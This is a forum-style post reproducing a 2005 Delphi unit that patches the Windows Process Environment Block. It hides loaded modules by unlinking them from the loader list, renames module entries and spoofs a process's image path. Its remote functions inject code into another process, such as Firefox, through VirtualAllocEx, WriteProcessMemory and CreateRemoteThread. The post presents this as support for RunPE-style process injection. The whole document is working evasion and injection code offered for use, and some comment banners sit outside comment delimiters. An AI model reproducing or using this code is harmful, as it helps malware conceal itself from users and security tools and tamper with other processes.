untPEB by ErazerZ

Post date: Aug 29, 2010 9:56:20 PM

Process Environment Block (PEB) Patch Unit

------------------------------------------

27th September 2005

by ErazerZ

------------------------------------------

Example(s):

1) Patch a local Process Module:

PatchModule(GetModuleHandle('ntdll.dll'), 'NewModule.dll');

1.1)

You can too hide Modules, when you use:

PatchModule(GeModuleHandle('ntdll.dll'), nil);

2) Patch a remote Process Module:

var

hProcess: THandle;

begin

hProcess := OpenProcess(PROCESS_ALL_ACCESS, False, dwProcessIDofFirefox);

PatchModuleRemote(hProcess, 'Firefox.exe', 'Test.dll');

3) Patch a local ImageBaseName (ProcessPath in the Processmanager)

PatchImagePath('C:\Program Files\Mozilla Firefox\Firefox.exe');

4) Patch a remote ImageBaseName

var

hProcess: THandle;

begin

hProcess := OpenProcess(PROCESS_ALL_ACCESS, False, dwProcessIDofFirefox);

PatchImagePathRemote(hProcess, 'C:\Program Files\Mozilla Firefox\NewFirefox.exe');

------------------------------------------

When a process is injected using dynamic forking of the Windows executable (RUNPE), calls to the GetModuleHandle apis will return the shell process, as opposed to the injected process. This patch unit patches the process environment block (PEB) to correct the results returned by the api calls.

unit untPEB;

//by ErazerZ

interface

uses Windows,

     untSttUnhooker; // WinAPI UnHooker - by StTwister

type

  PNtAnsiString = ^TNtAnsiString;

  TNtAnsiString = packed record

    Length: Word;

    MaximumLength: Word;

    Buffer: PAnsiChar;

  end;

type

  PNtUnicodeString = ^TNtUnicodeString;

  TNtUnicodeString = packed record

    Length: Word;

    MaximumLength: Word;

    Buffer: PWideChar;

  end;

type

  PClientId = ^TClientId;

  TClientId = record

    UniqueProcess: THandle;

    UniqueThread: THandle;

  end;

type

  PCurDir = ^TCurDir;

  TCurDir = packed record

    DosPath: TNtUnicodeString;

    Handle : THandle;

  end;

type

  PRtlDriveLetterCurDir = ^TRtlDriveLetterCurDir;

  TRtlDriveLetterCurDir = packed record

    Flags    : Word;

    Length   : Word;

    TimeStamp: Cardinal;

    DosPath  : TNtAnsiString;

  end;

type

  PRtlUserProcessParameters = ^TRtlUserProcessParameters;

  TRtlUserProcessParameters = record

    MaximumLength    : Cardinal;

    Length           : Cardinal;

    Flags            : Cardinal;

    DebugFlags       : Cardinal;

    ConsoleHandle    : THandle;

    ConsoleFlags     : Cardinal;

    StandardInput    : THandle;

    StandardOutput   : THandle;

    StandardError    : THandle;

    CurrentDirectory : TCurDir;

    DllPath          : TNtUnicodeString;

    ImagePathName    : TNtUnicodeString;

    CommandLine      : TNtUnicodeString;

    Environment      : Pointer;

    StartingX        : Cardinal;

    StartingY        : Cardinal;

    CountX           : Cardinal;

    CountY           : Cardinal;

    CountCharsX      : Cardinal;

    CountCharsY      : Cardinal;

    FillAttribute    : Cardinal;

    WindowFlags      : Cardinal;

    ShowWindowFlags  : Cardinal;

    WindowTitle      : TNtUnicodeString;

    DesktopInfo      : TNtUnicodeString;

    ShellInfo        : TNtUnicodeString;

    RuntimeData      : TNtUnicodeString;

    CurrentDirectores: Array [0..31] of TRtlDriveLetterCurDir;

  end;

type

  PPebFreeBlock = ^TPebFreeBlock;

  TPebFreeBlock = record

    Next: PPebFreeBlock;

    Size: Cardinal;

  end;

type

  PLdrModule = ^TLdrModule;

  TLdrModule = packed record

    InLoadOrderModuleList          : TListEntry;      // 0h

    InMemoryOrderModuleList        : TListEntry;      // 8h

    InInitializationOrderModuleList: TListEntry;      // 10h

    BaseAddress                    : THandle;         // 18h

    EntryPoint                     : THandle;         // 1Ch

    SizeOfImage                    : Cardinal;        // 20h

    FullDllName                    : TNtUnicodeString;// 24h

                                   // Length (2)         24h

                                   // MaximumLength (2)  26h

                                   // Buffer (4)         28h

    BaseDllName                    : TNtUnicodeString;// 2Ch

    Flags                          : ULONG;           // 34h

    LoadCount                      : SHORT;           // 38h

    TlsIndex                       : SHORT;           // 3Ah

    HashTableEntry                 : TListEntry;      // 3Ch

    TimeDataStamp                  : ULONG;           // 44h

  end;

type

  PPebLdrData = ^TPebLdrData;

  TPebLdrData = packed record

    Length                         : Cardinal;        // 0h

    Initialized                    : LongBool;        // 4h

    SsHandle                       : THandle;         // 8h

    InLoadOrderModuleList          : TListEntry;      // 0Ch

    InMemoryOrderModuleList        : TListEntry;      // 14h

    InInitializationOrderModuleList: TListEntry;      // 1Ch

  end;

type

  PPeb = ^TPeb;

  TPeb = packed record

    InheritedAddressSpace         : Boolean;

    ReadImageFileExecOptions      : Boolean;

    BeingDebugged                 : Boolean;

    SpareBool                     : Boolean;

    Mutant                        : Pointer;

    ImageBaseAddress              : Pointer;

    Ldr                           : PPebLdrData;

    ProcessParameters             : PRtlUserProcessParameters;

    SubSystemData                 : Pointer;

    ProcessHeap                   : Pointer;

    FastPebLock                   : Pointer;

    FastPebLockRoutine            : Pointer;

    FastPebUnlockRoutine          : Pointer;

    EnvironmentUpdateCount        : Cardinal;

    KernelCallbackTable           : Pointer;

    case Integer of

      4: (

        EventLogSection           : Pointer;

        EventLog                  : Pointer);

      5: (

        SystemReserved            : Array [0..1] of Cardinal;

  { end; }

    FreeList                      : PPebFreeBlock;

    TlsExpansionCounter           : Cardinal;

    TlsBitmap                     : Pointer;

    TlsBitmapBits                 : Array [0..1] of Cardinal;

    ReadOnlySharedMemoryBase      : Pointer;

    ReadOnlySharedMemoryHeap      : Pointer;

    ReadOnlyStaticServerData      : ^Pointer;

    AnsiCodePageData              : Pointer;

    OemCodePageData               : Pointer;

    UnicodeCaseTableData          : Pointer;

    NumberOfProcessors            : Cardinal;

    NtGlobalFlag                  : Cardinal;

    Unknown                       : Cardinal;

    CriticalSectionTimeout        : TLargeInteger;

    HeapSegmentReserve            : Cardinal;

    HeapSegmentCommit             : Cardinal;

    HeapDeCommitTotalFreeThreshold: Cardinal;

    HeapDeCommitFreeBlockThreshold: Cardinal;

    NumberOfHeaps                 : Cardinal;

    MaximumNumberOfHeaps          : Cardinal;

    ProcessHeaps                  : ^Pointer;

    GdiSharedHandleTable          : Pointer;

    ProcessStarterHelper          : Pointer;

    GdiDCAttributeList            : Cardinal;

    LoaderLock                    : Pointer;

    OSMajorVersion                : Cardinal;

    OSMinorVersion                : Cardinal;

    OSBuildNumber                 : Word;

    OSCSDVersion                  : Word;

    OSPlatformId                  : Cardinal;

    ImageSubsystem                : Cardinal;

    ImageSubsystemMajorVersion    : Cardinal;

    ImageSubsystemMinorVersion    : Cardinal;

    ImageProcessAffinityMask      : Cardinal;

    GdiHandleBuffer               : Array [0..33] of Cardinal;

    PostProcessInitRoutine        : ^Pointer;

    TlsExpansionBitmap            : Pointer;

    TlsExpansionBitmapBits        : Array [0..31] of Cardinal;

    SessionId                     : Cardinal;

    AppCompatInfo                 : Pointer;

    CSDVersion                    : TNtUnicodeString);

  end;

type

  PNtTib = ^TNtTib;

  TNtTib = record

    ExceptionList       : Pointer;  // ^_EXCEPTION_REGISTRATION_RECORD

    StackBase           : Pointer;

    StackLimit          : Pointer;

    SubSystemTib        : Pointer;

    case Integer of

      0: (FiberData     : Pointer);

      1: (Version       : ULONG;

    ArbitraryUserPointer: Pointer;

    Self                : PNtTib);

  end;

type

  PTeb = ^TTeb;

  TTeb = record

    Tib               : TNtTib;

    Environment       : PWideChar;

    ClientId          : TClientId;

    RpcHandle         : THandle;

    ThreadLocalStorage: PPointer;

    Peb               : PPeb;

    LastErrorValue    : DWORD;

  end;

// Local ..

function GetTeb: PTeb;

function PatchImagePath(szNewImagePath: PWideChar): Boolean;

function PatchModule(hModule: THandle; szNewModule: PWideChar): Boolean;

// Remote ..

function PatchModuleRemote(hProcess: THandle; szModule, szNewModule: PWideChar): Boolean;

function PatchImagePathRemote(hProcess: THandle; szNewImageBaseName: PWideChar): Boolean;

implementation

  ########################################

  Local Process Environment Block Patching

  ########################################

function GetTeb: PTeb; assembler

asm

  MOV EAX, FS:[18h] // 18h = TEB, 30h = PEB

  MOV Result, EAX

end;

function PatchImagePath(szNewImagePath: PWideChar): Boolean;

var

  Teb: PTeb;

  Peb: PPeb;

begin

  Result := False;

  Teb := GetTeb;

  Peb := Teb.Peb;

try

    Peb.ProcessParameters.ImagePathName.Length := lstrlenW(szNewImagePath) * 2;

    Peb.ProcessParameters.ImagePathName.Buffer := szNewImagePath;

    Result := True;

  except end;

end;

// if szNewModule = nil then HideModule ..

function PatchModule(hModule: THandle; szNewModule: PWideChar): Boolean;

var

  Teb: PTeb;

  Peb: PPeb;

  usNewModule: TNtUnicodeString;

  CurModule: TPebLdrData;

  i: Integer;

begin

  Teb := GetTeb;

  Peb := Teb.Peb;

  CurModule := TPebLdrData(Peb.Ldr^);

  i := 0;

  Result := False;

  repeat

    // More than 256 Modules, break ..

    if i >= MAX_PATH then

      Break;

    inc(i);

    // Flink = Forward Link

    // Blink = Backward Link

    if hModule = PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.BaseAddress then

    begin

      usNewModule.Buffer := szNewModule;

      usNewModule.Length := lstrlenW(usNewModule.Buffer) * 2;

      usNewModule.MaximumLength := MAX_PATH * 2;

      if (szNewModule = nil) then

      begin

        // hide module

        PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.InLoadOrderModuleList.Blink.Flink := PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.InLoadOrderModuleList.Flink;

        PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.InLoadOrderModuleList.Flink.Blink := PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.InLoadOrderModuleList.Blink;

      end else

      begin

        // normal patch module

        PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.FullDllName := usNewModule;

      end;

      Result := True;

      Break;

    end else

    begin

      CurModule.InLoadOrderModuleList.Flink := CurModule.InLoadOrderModuleList.Flink.Flink;

    end;

  until (not True);

end;

  #########################################

  Remote Process Environment Block Patching

  #########################################

type

  TRemoteInfo = packed record

    rGetModuleHandleW: function(lpModuleName: PWideChar): HMODULE; stdcall;

    szModule: PWideChar;

    usNewModule: TNtUnicodeString; // New Modulename, when nil then HideModule

    hModule: THandle; // Module to patch

    i: Integer;

    Peb: PPeb;

    CurModule: TPebLdrData;

  end;

procedure RemoteThread(RemoteInfo: Pointer); stdcall;

var

  Teb: PTeb;

begin

  with TRemoteInfo(RemoteInfo^)do

  begin

asm

      MOV EAX, FS:[18h]

      MOV Teb, EAX

    end;

    Peb := Teb.Peb;

    CurModule := TPebLdrData(Peb.Ldr^);

    i := 0;

    hModule :=  rGetModuleHandleW(szModule);

    repeat

      // More than 256 Modules, break ..

      if i >= MAX_PATH then

        Break;

      inc(i);

      // Flink = Forward Link

      // Blink = Backward Link

      if hModule = PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.BaseAddress then

      begin

        if (usNewModule.Buffer = nil) then

        begin

          // hide module

          PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.InLoadOrderModuleList.Blink.Flink := PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.InLoadOrderModuleList.Flink;

          PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.InLoadOrderModuleList.Flink.Blink := PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.InLoadOrderModuleList.Blink;

        end else

        begin

          // normal patch module

          PLdrModule(CurModule.InLoadOrderModuleList.Flink)^.FullDllName := usNewModule;

        end;

        Break;

      end else

      begin

        CurModule.InLoadOrderModuleList.Flink := CurModule.InLoadOrderModuleList.Flink.Flink;

      end;

    until (not True);

  end;

end;

procedure RemoteThreadEnd; begin end;

function PatchModuleRemote(hProcess: THandle; szModule, szNewModule: PWideChar): Boolean;

var

  RemoteInfo: TRemoteInfo;

  pRecord, pCodeAddress, pInjectBuffer: Pointer;

  dwBytesWritten, TID: DWORD;

  usNewModule: TNtUnicodeString;

begin

  Result := False;

  usNewModule.Buffer := szNewModule;

  usNewModule.Length := lstrlenW(szNewModule) * 2;

  usNewModule.MaximumLength := MAX_PATH * 2;

  @RemoteInfo.rGetModuleHandleW := GetProcAddress(GetModuleHandle(kernel32), 'GetModuleHandleW');

  // write the new modulename ..

  pInjectBuffer := pVirtualAllocEx(hProcess, nil, usNewModule.Length, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  pWriteProcessMemory(hProcess, pInjectBuffer, usNewModule.Buffer, usNewModule.Length, dwBytesWritten);

  RemoteInfo.usNewModule.Buffer := pInjectBuffer;

  RemoteInfo.usNewModule.Length := usNewModule.Length;

  RemoteInfo.usNewModule.MaximumLength := usNewModule.MaximumLength;

  // write old modulename ...

  pInjectBuffer := pVirtualAllocEx(hProcess, nil, lstrlenW(szModule) * 2, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  pWriteProcessMemory(hProcess, pInjectBuffer, szModule, lstrlenW(szModule) * 2, dwBytesWritten);

  RemoteInfo.szModule := pInjectBuffer;

  // write param (the infos from record)

  pRecord := pVirtualAllocEx(hProcess, nil, sizeof(TRemoteInfo), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  pWriteProcessMemory(hProcess, pRecord, @RemoteInfo, sizeof(TRemoteInfo), dwBytesWritten);

  // write code

  pCodeAddress := pVirtualAllocEx(hProcess, nil, DWORD(@RemoteThreadEnd) - DWORD(@RemoteThread), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  pWriteProcessMemory(hProcess, pCodeAddress, @RemoteThread, DWORD(@RemoteThreadEnd) - DWORD(@RemoteThread), dwBytesWritten);

  // create new thread

  if pCreateRemoteThread(hProcess, nil, 0, pCodeAddress, pRecord, 0, TID) > 0 then

    Result := True;

end;

type

  TRemoteImagePathInfo = packed record

    szNewImageName: PWideChar; // New Imagebase Filename

    NewLength: Word;

  end;

procedure RemoteImagePathThread(RemoteInfo: Pointer); stdcall;

var

  Peb: PPeb;

begin

  with TRemoteImagePathInfo(RemoteInfo^)do

  begin

asm

      MOV EAX, FS:[30h]

      MOV Peb, EAX

    end;

    Peb.ProcessParameters.ImagePathName.Length := NewLength;

    Peb.ProcessParameters.ImagePathName.Buffer := szNewImageName;

  end;

end;

procedure RemoteImagePathThreadEnd; begin end;

function PatchImagePathRemote(hProcess: THandle; szNewImageBaseName: PWideChar): Boolean;

var

  RemoteInfo: TRemoteImagePathInfo;

  pRecord, pCodeAddress, pInjectBuffer: Pointer;

  dwBytesWritten, TID: DWORD;

begin

  Result := False;

  RemoteInfo.NewLength := lstrlenW(szNewImageBaseName) * 2;

  // write the new modulename ..

  pInjectBuffer := pVirtualAllocEx(hProcess, nil, RemoteInfo.NewLength, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  pWriteProcessMemory(hProcess, pInjectBuffer, szNewImageBaseName, RemoteInfo.NewLength, dwBytesWritten);

  RemoteInfo.szNewImageName := pInjectBuffer;

  // write param (the infos from record)

  pRecord := pVirtualAllocEx(hProcess, nil, sizeof(TRemoteImagePathInfo), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  pWriteProcessMemory(hProcess, pRecord, @RemoteInfo, sizeof(TRemoteImagePathInfo), dwBytesWritten);

  // write code

  pCodeAddress := pVirtualAllocEx(hProcess, nil, DWORD(@RemoteImagePathThreadEnd) - DWORD(@RemoteImagePathThread), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  pWriteProcessMemory(hProcess, pCodeAddress, @RemoteImagePathThread, DWORD(@RemoteImagePathThreadEnd) - DWORD(@RemoteImagePathThread), dwBytesWritten);

  // create new thread

  if pCreateRemoteThread(hProcess, nil, 0, pCodeAddress, pRecord, 0, TID) > 0 then

    Result := True;

end;

end.